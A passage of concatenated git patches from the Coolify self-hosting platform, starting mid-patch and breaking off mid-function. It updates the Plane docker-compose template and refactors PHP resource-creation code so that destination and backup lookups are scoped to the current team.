+                    <x-deprecated-badge />
                 </div>
+                <x-callout type="warning" title="Deprecated" class="my-4">
+                    {{ config('deprecations.swarm') }}
+                </x-callout>
                 <div class="pb-4">Read the docs <a class='underline dark:text-white'
                         href='https://coolify.io/docs/knowledge-base/docker/swarm' target='_blank'>here</a>.
                 </div>

From 53b47b0baae2bd33a4a2d5963e10aa102fdec7cd Mon Sep 17 00:00:00 2001
From: DarkMaper <darkmaper@gmail.com>
Date: Sat, 18 Apr 2026 23:35:37 +0200
Subject: [PATCH 052/102] feat(service): update docker-compose according to the
 official doc

---
 templates/compose/plane.yaml | 44 ++++++++++++++++++++++--------------
 1 file changed, 27 insertions(+), 17 deletions(-)

diff --git a/templates/compose/plane.yaml b/templates/compose/plane.yaml
index 346b0c664..5dffe0066 100644
--- a/templates/compose/plane.yaml
+++ b/templates/compose/plane.yaml
@@ -30,6 +30,12 @@ x-aws-s3-env: &aws-s3-env
   AWS_S3_ENDPOINT_URL: ${AWS_S3_ENDPOINT_URL:-http://plane-minio:9000}
   AWS_S3_BUCKET_NAME: ${AWS_S3_BUCKET_NAME:-uploads}
 
+x-proxy-env: &proxy-env
+  APP_DOMAIN: ${SERVICE_URL_PLANE}
+  FILE_SIZE_LIMIT: ${FILE_SIZE_LIMIT:-5242880}
+  BUCKET_NAME: ${AWS_S3_BUCKET_NAME:-uploads}
+  SITE_ADDRESS: ${SITE_ADDRESS:-:80}
+
 x-mq-env: &mq-env # RabbitMQ Settings
   RABBITMQ_HOST: plane-mq
   RABBITMQ_PORT: ${RABBITMQ_PORT:-5672}
@@ -40,9 +46,10 @@ x-mq-env: &mq-env # RabbitMQ Settings
 
 x-live-env: &live-env
   API_BASE_URL: ${API_BASE_URL:-http://api:8000}
+  LIVE_SERVER_SECRET_KEY: $SERVICE_PASSWORD_64_LIVESECRET
 
 x-app-env: &app-env
-  APP_RELEASE: ${APP_RELEASE:-v1.0.0}
+  APP_RELEASE: ${APP_RELEASE:-v1.3.0}
   WEB_URL: ${SERVICE_URL_PLANE}
   DEBUG: ${DEBUG:-0}
   CORS_ALLOWED_ORIGINS: ${CORS_ALLOWED_ORIGINS:-http://localhost}
@@ -53,16 +60,20 @@ x-app-env: &app-env
   AMQP_URL: amqp://${SERVICE_USER_RABBITMQ}:${SERVICE_PASSWORD_RABBITMQ}@plane-mq:${RABBITMQ_PORT:-5672}/plane
   API_KEY_RATE_LIMIT: ${API_KEY_RATE_LIMIT:-60/minute}
   MINIO_ENDPOINT_SSL: ${MINIO_ENDPOINT_SSL:-0}
+  LIVE_SERVER_SECRET_KEY: $SERVICE_PASSWORD_64_LIVESECRET
 
 services:
   proxy:
-    image: artifacts.plane.so/makeplane/plane-proxy:${APP_RELEASE:-v1.0.0}
+    image: makeplane/plane-proxy:${APP_RELEASE:-v1.3.0}
     environment:
       - SERVICE_URL_PLANE
       - APP_DOMAIN=${SERVICE_URL_PLANE}
       - SITE_ADDRESS=:80
       - FILE_SIZE_LIMIT=${FILE_SIZE_LIMIT:-5242880}
       - BUCKET_NAME=${AWS_S3_BUCKET_NAME:-uploads}
+    volumes:
+      - proxy_config:/config
+      - proxy_data:/data
     depends_on:
       - web
       - api
@@ -74,8 +85,9 @@ services:
       interval: 2s
       timeout: 10s
       retries: 15
+
   web:
-    image: artifacts.plane.so/makeplane/plane-frontend:${APP_RELEASE:-v1.0.0}
+    image: makeplane/plane-frontend:${APP_RELEASE:-v1.3.0}
     depends_on:
       - api
       - worker
@@ -86,7 +98,7 @@ services:
       retries: 15
 
   space:
-    image: artifacts.plane.so/makeplane/plane-space:${APP_RELEASE:-v1.0.0}
+    image: makeplane/plane-space:${APP_RELEASE:-v1.3.0}
     depends_on:
       - api
       - worker
@@ -98,7 +110,7 @@ services:
       retries: 15
 
   admin:
-    image: artifacts.plane.so/makeplane/plane-admin:${APP_RELEASE:-v1.0.0}
+    image: makeplane/plane-admin:${APP_RELEASE:-v1.3.0}
     depends_on:
       - api
       - web
@@ -109,13 +121,12 @@ services:
       retries: 15
 
   live:
-    image: artifacts.plane.so/makeplane/plane-live:${APP_RELEASE:-v1.0.0}
+    image: makeplane/plane-live:${APP_RELEASE:-v1.3.0}
     environment:
       <<: [*live-env, *redis-env]
     depends_on:
       - api
       - web
-      - plane-redis
     healthcheck:
       test: ["CMD", "echo", "hey whats up"]
       interval: 2s
@@ -123,12 +134,12 @@ services:
       retries: 15
 
   api:
-    image: artifacts.plane.so/makeplane/plane-backend:${APP_RELEASE:-v1.0.0}
+    image: makeplane/plane-backend:${APP_RELEASE:-v1.3.0}
     command: ./bin/docker-entrypoint-api.sh
     volumes:
       - logs_api:/code/plane/logs
     environment:
-      <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *mq-env]
+      <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *proxy-env]
     depends_on:
       - plane-db
       - plane-redis
@@ -140,12 +151,12 @@ services:
       retries: 15
 
   worker:
-    image: artifacts.plane.so/makeplane/plane-backend:${APP_RELEASE:-v1.0.0}
+    image: makeplane/plane-backend:${APP_RELEASE:-v1.3.0}
     command: ./bin/docker-entrypoint-worker.sh
     volumes:
       - logs_worker:/code/plane/logs
     environment:
-      <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *mq-env]
+      <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *proxy-env]
     depends_on:
       - api
       - plane-db
@@ -158,12 +169,12 @@ services:
       retries: 15
 
   beat-worker:
-    image: artifacts.plane.so/makeplane/plane-backend:${APP_RELEASE:-v1.0.0}
+    image: makeplane/plane-backend:${APP_RELEASE:-v1.3.0}
     command: ./bin/docker-entrypoint-beat.sh
     volumes:
       - logs_beat-worker:/code/plane/logs
     environment:
-      <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *mq-env]
+      <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *proxy-env]
     depends_on:
       - api
       - plane-db
@@ -176,13 +187,13 @@ services:
       retries: 15
 
   migrator:
-    image: artifacts.plane.so/makeplane/plane-backend:${APP_RELEASE:-v1.0.0}
+    image: makeplane/plane-backend:${APP_RELEASE:-v1.3.0}
     restart: "no"
     command: ./bin/docker-entrypoint-migrator.sh
     volumes:
       - logs_migrator:/code/plane/logs
     environment:
-      <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *mq-env]
+      <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *proxy-env]
     depends_on:
       - plane-db
       - plane-redis
@@ -202,7 +213,7 @@ services:
       retries: 10
 
   plane-redis:
-    image: valkey/valkey:7.2.5-alpine
+    image: valkey/valkey:7.2.11-alpine
     volumes:
       - redisdata:/data
     healthcheck:
@@ -213,7 +224,6 @@ services:
 
   plane-mq:
     image: rabbitmq:3.13.6-management-alpine
-    restart: always
     environment:
       <<: *mq-env
     volumes:

From beeed85e438037300f55ef3ec96595bf22691193 Mon Sep 17 00:00:00 2001
From: DarkMaper <darkmaper@gmail.com>
Date: Sat, 18 Apr 2026 23:35:59 +0200
Subject: [PATCH 053/102] feat(service): enable plane

---
 templates/compose/plane.yaml | 1 -
 1 file changed, 1 deletion(-)

diff --git a/templates/compose/plane.yaml b/templates/compose/plane.yaml
index 5dffe0066..cb9734fe1 100644
--- a/templates/compose/plane.yaml
+++ b/templates/compose/plane.yaml
@@ -1,4 +1,3 @@
-# ignore: true
 # documentation: https://docs.plane.so/self-hosting/methods/docker-compose
 # slogan: The open source project management tool
 # category: productivity

From a478ac66eb7037837c178d64006f83a13eca12d2 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Sun, 19 Apr 2026 11:52:52 +0200
Subject: [PATCH 054/102] refactor: scope destination and resource lookups by
 current team

Use find_destination_for_current_team helper across resource creation
flows and the destination controller. Pass full destination objects to
database creation helpers instead of UUIDs so team relationships are
resolved consistently before the resource is created or linked.

Add feature tests covering destination, backup storage, and resource
proof lookups across teams.
---
 .../Controllers/Api/DatabasesController.php   |  16 +-
 app/Livewire/Destination/Show.php             |  16 +-
 app/Livewire/Project/New/DockerCompose.php    |  14 +-
 app/Livewire/Project/New/DockerImage.php      |  11 +-
 .../Project/New/GithubPrivateRepository.php   |  11 +-
 .../New/GithubPrivateRepositoryDeployKey.php  |  11 +-
 .../Project/New/PublicGitRepository.php       |  19 +-
 app/Livewire/Project/New/SimpleDockerfile.php |  11 +-
 app/Livewire/Project/Resource/Create.php      |  29 +-
 .../Project/Shared/ResourceOperations.php     |   5 +-
 app/Livewire/Storage/Resources.php            |   8 +-
 app/Models/StandaloneDocker.php               |  10 +
 app/Models/SwarmDocker.php                    |  10 +
 bootstrap/helpers/databases.php               |  51 ++-
 bootstrap/helpers/shared.php                  |  40 +--
 tests/Feature/TeamScopedBackupStorageTest.php | 106 +++++++
 tests/Feature/TeamScopedDestinationTest.php   | 297 ++++++++++++++++++
 .../Feature/TeamScopedResourceProofsTest.php  |  96 ++++++
 18 files changed, 607 insertions(+), 154 deletions(-)
 create mode 100644 tests/Feature/TeamScopedBackupStorageTest.php
 create mode 100644 tests/Feature/TeamScopedDestinationTest.php
 create mode 100644 tests/Feature/TeamScopedResourceProofsTest.php

diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php
index 8e31a7051..f3783696d 100644
--- a/app/Http/Controllers/Api/DatabasesController.php
+++ b/app/Http/Controllers/Api/DatabasesController.php
@@ -1766,7 +1766,7 @@ public function create_database(Request $request, NewDatabaseTypes $type)
                 }
                 $request->offsetSet('postgres_conf', $postgresConf);
             }
-            $database = create_standalone_postgresql($environment->id, $destination->uuid, $request->only($allowedFields));
+            $database = create_standalone_postgresql($environment->id, $destination, $request->only($allowedFields));
             if ($instantDeploy) {
                 StartDatabase::dispatch($database);
             }
@@ -1821,7 +1821,7 @@ public function create_database(Request $request, NewDatabaseTypes $type)
                 }
                 $request->offsetSet('mariadb_conf', $mariadbConf);
             }
-            $database = create_standalone_mariadb($environment->id, $destination->uuid, $request->only($allowedFields));
+            $database = create_standalone_mariadb($environment->id, $destination, $request->only($allowedFields));
             if ($instantDeploy) {
                 StartDatabase::dispatch($database);
             }
@@ -1880,7 +1880,7 @@ public function create_database(Request $request, NewDatabaseTypes $type)
                 }
                 $request->offsetSet('mysql_conf', $mysqlConf);
             }
-            $database = create_standalone_mysql($environment->id, $destination->uuid, $request->only($allowedFields));
+            $database = create_standalone_mysql($environment->id, $destination, $request->only($allowedFields));
             if ($instantDeploy) {
                 StartDatabase::dispatch($database);
             }
@@ -1936,7 +1936,7 @@ public function create_database(Request $request, NewDatabaseTypes $type)
                 }
                 $request->offsetSet('redis_conf', $redisConf);
             }
-            $database = create_standalone_redis($environment->id, $destination->uuid, $request->only($allowedFields));
+            $database = create_standalone_redis($environment->id, $destination, $request->only($allowedFields));
             if ($instantDeploy) {
                 StartDatabase::dispatch($database);
             }
@@ -1973,7 +1973,7 @@ public function create_database(Request $request, NewDatabaseTypes $type)
             }
 
             removeUnnecessaryFieldsFromRequest($request);
-            $database = create_standalone_dragonfly($environment->id, $destination->uuid, $request->only($allowedFields));
+            $database = create_standalone_dragonfly($environment->id, $destination, $request->only($allowedFields));
             if ($instantDeploy) {
                 StartDatabase::dispatch($database);
             }
@@ -2022,7 +2022,7 @@ public function create_database(Request $request, NewDatabaseTypes $type)
                 }
                 $request->offsetSet('keydb_conf', $keydbConf);
             }
-            $database = create_standalone_keydb($environment->id, $destination->uuid, $request->only($allowedFields));
+            $database = create_standalone_keydb($environment->id, $destination, $request->only($allowedFields));
             if ($instantDeploy) {
                 StartDatabase::dispatch($database);
             }
@@ -2058,7 +2058,7 @@ public function create_database(Request $request, NewDatabaseTypes $type)
                 ], 422);
             }
             removeUnnecessaryFieldsFromRequest($request);
-            $database = create_standalone_clickhouse($environment->id, $destination->uuid, $request->only($allowedFields));
+            $database = create_standalone_clickhouse($environment->id, $destination, $request->only($allowedFields));
             if ($instantDeploy) {
                 StartDatabase::dispatch($database);
             }
@@ -2116,7 +2116,7 @@ public function create_database(Request $request, NewDatabaseTypes $type)
                 }
                 $request->offsetSet('mongo_conf', $mongoConf);
             }
-            $database = create_standalone_mongodb($environment->id, $destination->uuid, $request->only($allowedFields));
+            $database = create_standalone_mongodb($environment->id, $destination, $request->only($allowedFields));
             if ($instantDeploy) {
                 StartDatabase::dispatch($database);
             }
diff --git a/app/Livewire/Destination/Show.php b/app/Livewire/Destination/Show.php
index f2cdad074..9d55d7462 100644
--- a/app/Livewire/Destination/Show.php
+++ b/app/Livewire/Destination/Show.php
@@ -2,9 +2,7 @@
 
 namespace App\Livewire\Destination;
 
-use App\Models\Server;
 use App\Models\StandaloneDocker;
-use App\Models\SwarmDocker;
 use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
 use Livewire\Attributes\Locked;
 use Livewire\Attributes\Validate;
@@ -29,16 +27,8 @@ class Show extends Component
     public function mount(string $destination_uuid)
     {
         try {
-            $destination = StandaloneDocker::whereUuid($destination_uuid)->first() ??
-                SwarmDocker::whereUuid($destination_uuid)->firstOrFail();
-
-            $ownedByTeam = Server::ownedByCurrentTeam()->each(function ($server) use ($destination) {
-                if ($server->standaloneDockers->contains($destination) || $server->swarmDockers->contains($destination)) {
-                    $this->destination = $destination;
-                    $this->syncData();
-                }
-            });
-            if ($ownedByTeam === false) {
+            $destination = find_destination_for_current_team($destination_uuid);
+            if (! $destination) {
                 return redirect()->route('destination.index');
             }
             $this->destination = $destination;
@@ -80,7 +70,7 @@ public function delete()
         try {
             $this->authorize('delete', $this->destination);
 
-            if ($this->destination->getMorphClass() === \App\Models\StandaloneDocker::class) {
+            if ($this->destination->getMorphClass() === StandaloneDocker::class) {
                 if ($this->destination->attachedTo()) {
                     return $this->dispatch('error', 'You must delete all resources before deleting this destination.');
                 }
diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php
index 2b92902c6..2cf0659bf 100644
--- a/app/Livewire/Project/New/DockerCompose.php
+++ b/app/Livewire/Project/New/DockerCompose.php
@@ -5,8 +5,6 @@
 use App\Models\EnvironmentVariable;
 use App\Models\Project;
 use App\Models\Service;
-use App\Models\StandaloneDocker;
-use App\Models\SwarmDocker;
 use Livewire\Component;
 use Symfony\Component\Yaml\Yaml;
 
@@ -31,7 +29,6 @@ public function mount()
 
     public function submit()
     {
-        $server_id = $this->query['server_id'];
         try {
             $this->validate([
                 'dockerComposeRaw' => 'required',
@@ -44,20 +41,17 @@ public function submit()
             $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail();
             $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail();
 
-            $destination_uuid = $this->query['destination'];
-            $destination = StandaloneDocker::where('uuid', $destination_uuid)->first();
+            $destination_uuid = $this->query['destination'] ?? null;
+            $destination = find_destination_for_current_team($destination_uuid);
             if (! $destination) {
-                $destination = SwarmDocker::where('uuid', $destination_uuid)->first();
-            }
-            if (! $destination) {
-                throw new \Exception('Destination not found. What?!');
+                throw new \Exception('Destination not found.');
             }
             $destination_class = $destination->getMorphClass();
 
             $service = Service::create([
                 'docker_compose_raw' => $this->dockerComposeRaw,
                 'environment_id' => $environment->id,
-                'server_id' => (int) $server_id,
+                'server_id' => $destination->server_id,
                 'destination_id' => $destination->id,
                 'destination_type' => $destination_class,
             ]);
diff --git a/app/Livewire/Project/New/DockerImage.php b/app/Livewire/Project/New/DockerImage.php
index 268333d07..b89ce2c6a 100644
--- a/app/Livewire/Project/New/DockerImage.php
+++ b/app/Livewire/Project/New/DockerImage.php
@@ -4,8 +4,6 @@
 
 use App\Models\Application;
 use App\Models\Project;
-use App\Models\StandaloneDocker;
-use App\Models\SwarmDocker;
 use App\Services\DockerImageParser;
 use Livewire\Component;
 use Visus\Cuid2\Cuid2;
@@ -111,13 +109,10 @@ public function submit()
         $parser = new DockerImageParser;
         $parser->parse($dockerImage);
 
-        $destination_uuid = $this->query['destination'];
-        $destination = StandaloneDocker::where('uuid', $destination_uuid)->first();
+        $destination_uuid = $this->query['destination'] ?? null;
+        $destination = find_destination_for_current_team($destination_uuid);
         if (! $destination) {
-            $destination = SwarmDocker::where('uuid', $destination_uuid)->first();
-        }
-        if (! $destination) {
-            throw new \Exception('Destination not found. What?!');
+            throw new \Exception('Destination not found.');
         }
         $destination_class = $destination->getMorphClass();
 
diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php
index 0222008b0..86e407136 100644
--- a/app/Livewire/Project/New/GithubPrivateRepository.php
+++ b/app/Livewire/Project/New/GithubPrivateRepository.php
@@ -5,8 +5,6 @@
 use App\Models\Application;
 use App\Models\GithubApp;
 use App\Models\Project;
-use App\Models\StandaloneDocker;
-use App\Models\SwarmDocker;
 use App\Rules\ValidGitBranch;
 use App\Support\ValidationPatterns;
 use Illuminate\Support\Facades\Http;
@@ -178,13 +176,10 @@ public function submit()
                 throw new \RuntimeException('Invalid repository data: '.$validator->errors()->first());
             }
 
-            $destination_uuid = $this->query['destination'];
-            $destination = StandaloneDocker::where('uuid', $destination_uuid)->first();
+            $destination_uuid = $this->query['destination'] ?? null;
+            $destination = find_destination_for_current_team($destination_uuid);
             if (! $destination) {
-                $destination = SwarmDocker::where('uuid', $destination_uuid)->first();
-            }
-            if (! $destination) {
-                throw new \Exception('Destination not found. What?!');
+                throw new \Exception('Destination not found.');
             }
             $destination_class = $destination->getMorphClass();
 
diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php
index f8642d6fc..5a6f288b3 100644
--- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php
+++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php
@@ -7,8 +7,6 @@
 use App\Models\GitlabApp;
 use App\Models\PrivateKey;
 use App\Models\Project;
-use App\Models\StandaloneDocker;
-use App\Models\SwarmDocker;
 use App\Rules\ValidGitBranch;
 use App\Rules\ValidGitRepositoryUrl;
 use App\Support\ValidationPatterns;
@@ -130,13 +128,10 @@ public function submit()
     {
         $this->validate();
         try {
-            $destination_uuid = $this->query['destination'];
-            $destination = StandaloneDocker::where('uuid', $destination_uuid)->first();
+            $destination_uuid = $this->query['destination'] ?? null;
+            $destination = find_destination_for_current_team($destination_uuid);
             if (! $destination) {
-                $destination = SwarmDocker::where('uuid', $destination_uuid)->first();
-            }
-            if (! $destination) {
-                throw new \Exception('Destination not found. What?!');
+                throw new \Exception('Destination not found.');
             }
             $destination_class = $destination->getMorphClass();
 
diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php
index dbfa15a55..b350538ac 100644
--- a/app/Livewire/Project/New/PublicGitRepository.php
+++ b/app/Livewire/Project/New/PublicGitRepository.php
@@ -7,8 +7,6 @@
 use App\Models\GitlabApp;
 use App\Models\Project;
 use App\Models\Service;
-use App\Models\StandaloneDocker;
-use App\Models\SwarmDocker;
 use App\Rules\ValidGitBranch;
 use App\Rules\ValidGitRepositoryUrl;
 use App\Support\ValidationPatterns;
@@ -34,8 +32,6 @@ class PublicGitRepository extends Component
 
     public bool $isStatic = false;
 
-    public bool $checkCoolifyConfig = true;
-
     public ?string $publish_directory = null;
 
     // In case of docker compose
@@ -284,16 +280,13 @@ public function submit()
                 throw new \RuntimeException('Invalid branch: '.$branchValidator->errors()->first('git_branch'));
             }
 
-            $destination_uuid = $this->query['destination'];
+            $destination_uuid = $this->query['destination'] ?? null;
             $project_uuid = $this->parameters['project_uuid'];
             $environment_uuid = $this->parameters['environment_uuid'];
 
-            $destination = StandaloneDocker::where('uuid', $destination_uuid)->first();
+            $destination = find_destination_for_current_team($destination_uuid);
             if (! $destination) {
-                $destination = SwarmDocker::where('uuid', $destination_uuid)->first();
-            }
-            if (! $destination) {
-                throw new \Exception('Destination not found. What?!');
+                throw new \Exception('Destination not found.');
             }
             $destination_class = $destination->getMorphClass();
 
@@ -371,12 +364,6 @@ public function submit()
             $fqdn = generateUrl(server: $destination->server, random: $application->uuid);
             $application->fqdn = $fqdn;
             $application->save();
-            if ($this->checkCoolifyConfig) {
-                // $config = loadConfigFromGit($this->repository_url, $this->git_branch, $this->base_directory, $this->query['server_id'], auth()->user()->currentTeam()->id);
-                // if ($config) {
-                //     $application->setConfig($config);
-                // }
-            }
 
             return redirect()->route('project.application.configuration', [
                 'application_uuid' => $application->uuid,
diff --git a/app/Livewire/Project/New/SimpleDockerfile.php b/app/Livewire/Project/New/SimpleDockerfile.php
index 1073157e6..f07948dba 100644
--- a/app/Livewire/Project/New/SimpleDockerfile.php
+++ b/app/Livewire/Project/New/SimpleDockerfile.php
@@ -5,8 +5,6 @@
 use App\Models\Application;
 use App\Models\GithubApp;
 use App\Models\Project;
-use App\Models\StandaloneDocker;
-use App\Models\SwarmDocker;
 use Livewire\Component;
 use Visus\Cuid2\Cuid2;
 
@@ -35,13 +33,10 @@ public function submit()
         $this->validate([
             'dockerfile' => 'required',
         ]);
-        $destination_uuid = $this->query['destination'];
-        $destination = StandaloneDocker::where('uuid', $destination_uuid)->first();
+        $destination_uuid = $this->query['destination'] ?? null;
+        $destination = find_destination_for_current_team($destination_uuid);
         if (! $destination) {
-            $destination = SwarmDocker::where('uuid', $destination_uuid)->first();
-        }
-        if (! $destination) {
-            throw new \Exception('Destination not found. What?!');
+            throw new \Exception('Destination not found.');
         }
         $destination_class = $destination->getMorphClass();
 
diff --git a/app/Livewire/Project/Resource/Create.php b/app/Livewire/Project/Resource/Create.php
index 966c66a14..4619ddf37 100644
--- a/app/Livewire/Project/Resource/Create.php
+++ b/app/Livewire/Project/Resource/Create.php
@@ -4,7 +4,6 @@
 
 use App\Models\EnvironmentVariable;
 use App\Models\Service;
-use App\Models\StandaloneDocker;
 use Livewire\Component;
 
 class Create extends Component
@@ -18,7 +17,6 @@ public function mount()
 
         $type = str(request()->query('type'));
         $destination_uuid = request()->query('destination');
-        $server_id = request()->query('server_id');
         $database_image = request()->query('database_image');
 
         $project = currentTeam()->load(['projects'])->projects->where('uuid', request()->route('project_uuid'))->first();
@@ -30,7 +28,11 @@ public function mount()
         if (! $environment) {
             return redirect()->route('dashboard');
         }
-        if (isset($type) && isset($destination_uuid) && isset($server_id)) {
+        if (isset($type) && isset($destination_uuid)) {
+            $destination = find_destination_for_current_team($destination_uuid);
+            if (! $destination) {
+                return redirect()->route('dashboard');
+            }
             $services = get_service_templates();
 
             if (in_array($type, DATABASE_TYPES)) {
@@ -44,23 +46,23 @@ public function mount()
                     }
                     $database = create_standalone_postgresql(
                         environmentId: $environment->id,
-                        destinationUuid: $destination_uuid,
+                        destination: $destination,
                         databaseImage: $database_image
                     );
                 } elseif ($type->value() === 'redis') {
-                    $database = create_standalone_redis($environment->id, $destination_uuid);
+                    $database = create_standalone_redis($environment->id, $destination);
                 } elseif ($type->value() === 'mongodb') {
-                    $database = create_standalone_mongodb($environment->id, $destination_uuid);
+                    $database = create_standalone_mongodb($environment->id, $destination);
                 } elseif ($type->value() === 'mysql') {
-                    $database = create_standalone_mysql($environment->id, $destination_uuid);
+                    $database = create_standalone_mysql($environment->id, $destination);
                 } elseif ($type->value() === 'mariadb') {
-                    $database = create_standalone_mariadb($environment->id, $destination_uuid);
+                    $database = create_standalone_mariadb($environment->id, $destination);
                 } elseif ($type->value() === 'keydb') {
-                    $database = create_standalone_keydb($environment->id, $destination_uuid);
+                    $database = create_standalone_keydb($environment->id, $destination);
                 } elseif ($type->value() === 'dragonfly') {
-                    $database = create_standalone_dragonfly($environment->id, $destination_uuid);
+                    $database = create_standalone_dragonfly($environment->id, $destination);
                 } elseif ($type->value() === 'clickhouse') {
-                    $database = create_standalone_clickhouse($environment->id, $destination_uuid);
+                    $database = create_standalone_clickhouse($environment->id, $destination);
                 }
 
                 return redirect()->route('project.database.configuration', [
@@ -69,7 +71,7 @@ public function mount()
                     'database_uuid' => $database->uuid,
                 ]);
             }
-            if ($type->startsWith('one-click-service-') && ! is_null((int) $server_id)) {
+            if ($type->startsWith('one-click-service-')) {
                 $oneClickServiceName = $type->after('one-click-service-')->value();
                 $oneClickService = data_get($services, "$oneClickServiceName.compose");
                 $oneClickDotEnvs = data_get($services, "$oneClickServiceName.envs", null);
@@ -79,12 +81,11 @@ public function mount()
                     });
                 }
                 if ($oneClickService) {
-                    $destination = StandaloneDocker::whereUuid($destination_uuid)->first();
                     $service_payload = [
                         'docker_compose_raw' => base64_decode($oneClickService),
                         'environment_id' => $environment->id,
                         'service_type' => $oneClickServiceName,
-                        'server_id' => (int) $server_id,
+                        'server_id' => $destination->server_id,
                         'destination_id' => $destination->id,
                         'destination_type' => $destination->getMorphClass(),
                     ];
diff --git a/app/Livewire/Project/Shared/ResourceOperations.php b/app/Livewire/Project/Shared/ResourceOperations.php
index f4813dd4c..2a8747c33 100644
--- a/app/Livewire/Project/Shared/ResourceOperations.php
+++ b/app/Livewire/Project/Shared/ResourceOperations.php
@@ -58,10 +58,9 @@ public function cloneTo($destination_id)
     {
         $this->authorize('update', $this->resource);
 
-        $teamScope = fn ($q) => $q->where('team_id', currentTeam()->id);
-        $new_destination = StandaloneDocker::whereHas('server', $teamScope)->find($destination_id);
+        $new_destination = StandaloneDocker::ownedByCurrentTeam()->find($destination_id);
         if (! $new_destination) {
-            $new_destination = SwarmDocker::whereHas('server', $teamScope)->find($destination_id);
+            $new_destination = SwarmDocker::ownedByCurrentTeam()->find($destination_id);
         }
         if (! $new_destination) {
             return $this->addError('destination_id', 'Destination not found.');
diff --git a/app/Livewire/Storage/Resources.php b/app/Livewire/Storage/Resources.php
index 643ecb3eb..0dad2d548 100644
--- a/app/Livewire/Storage/Resources.php
+++ b/app/Livewire/Storage/Resources.php
@@ -25,7 +25,9 @@ public function mount(): void
 
     public function disableS3(int $backupId): void
     {
-        $backup = ScheduledDatabaseBackup::findOrFail($backupId);
+        $backup = ScheduledDatabaseBackup::where('id', $backupId)
+            ->where('s3_storage_id', $this->storage->id)
+            ->firstOrFail();
 
         $backup->update([
             'save_s3' => false,
@@ -39,7 +41,9 @@ public function disableS3(int $backupId): void
 
     public function moveBackup(int $backupId): void
     {
-        $backup = ScheduledDatabaseBackup::findOrFail($backupId);
+        $backup = ScheduledDatabaseBackup::where('id', $backupId)
+            ->where('s3_storage_id', $this->storage->id)
+            ->firstOrFail();
         $newStorageId = $this->selectedStorages[$backupId] ?? null;
 
         if (! $newStorageId || (int) $newStorageId === $this->storage->id) {
diff --git a/app/Models/StandaloneDocker.php b/app/Models/StandaloneDocker.php
index dcb349405..d6b4d1a1c 100644
--- a/app/Models/StandaloneDocker.php
+++ b/app/Models/StandaloneDocker.php
@@ -90,6 +90,16 @@ public function server()
         return $this->belongsTo(Server::class);
     }
 
+    public static function ownedByCurrentTeam()
+    {
+        return static::whereHas('server', fn ($q) => $q->whereTeamId(currentTeam()->id));
+    }
+
+    public static function ownedByCurrentTeamAPI(int $teamId)
+    {
+        return static::whereHas('server', fn ($q) => $q->whereTeamId($teamId));
+    }
+
     /**
      * Get the server attribute using identity map caching.
      * This intercepts lazy-loading to use cached Server lookups.
diff --git a/app/Models/SwarmDocker.php b/app/Models/SwarmDocker.php
index 134e36189..0e9620457 100644
--- a/app/Models/SwarmDocker.php
+++ b/app/Models/SwarmDocker.php
@@ -71,6 +71,16 @@ public function server()
         return $this->belongsTo(Server::class);
     }
 
+    public static function ownedByCurrentTeam()
+    {
+        return static::whereHas('server', fn ($q) => $q->whereTeamId(currentTeam()->id));
+    }
+
+    public static function ownedByCurrentTeamAPI(int $teamId)
+    {
+        return static::whereHas('server', fn ($q) => $q->whereTeamId($teamId));
+    }
+
     /**
      * Get the server attribute using identity map caching.
      * This intercepts lazy-loading to use cached Server lookups.
diff --git a/bootstrap/helpers/databases.php b/bootstrap/helpers/databases.php
index 5df36db33..4d5e085f3 100644
--- a/bootstrap/helpers/databases.php
+++ b/bootstrap/helpers/databases.php
@@ -3,6 +3,7 @@
 use App\Models\EnvironmentVariable;
 use App\Models\S3Storage;
 use App\Models\Server;
+use App\Models\ServiceDatabase;
 use App\Models\StandaloneClickhouse;
 use App\Models\StandaloneDocker;
 use App\Models\StandaloneDragonfly;
@@ -12,18 +13,19 @@
 use App\Models\StandaloneMysql;
 use App\Models\StandalonePostgresql;
 use App\Models\StandaloneRedis;
+use App\Models\SwarmDocker;
 use Illuminate\Support\Collection;
 use Illuminate\Support\Facades\Storage;
+use Illuminate\Support\Str;
 use Visus\Cuid2\Cuid2;
 
-function create_standalone_postgresql($environmentId, $destinationUuid, ?array $otherData = null, string $databaseImage = 'postgres:16-alpine'): StandalonePostgresql
+function create_standalone_postgresql($environmentId, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null, string $databaseImage = 'postgres:16-alpine'): StandalonePostgresql
 {
-    $destination = StandaloneDocker::where('uuid', $destinationUuid)->firstOrFail();
     $database = new StandalonePostgresql;
     $database->uuid = (new Cuid2);
     $database->name = 'postgresql-database-'.$database->uuid;
     $database->image = $databaseImage;
-    $database->postgres_password = \Illuminate\Support\Str::password(length: 64, symbols: false);
+    $database->postgres_password = Str::password(length: 64, symbols: false);
     $database->environment_id = $environmentId;
     $database->destination_id = $destination->id;
     $database->destination_type = $destination->getMorphClass();
@@ -35,14 +37,13 @@ function create_standalone_postgresql($environmentId, $destinationUuid, ?array $
     return $database;
 }
 
-function create_standalone_redis($environment_id, $destination_uuid, ?array $otherData = null): StandaloneRedis
+function create_standalone_redis($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneRedis
 {
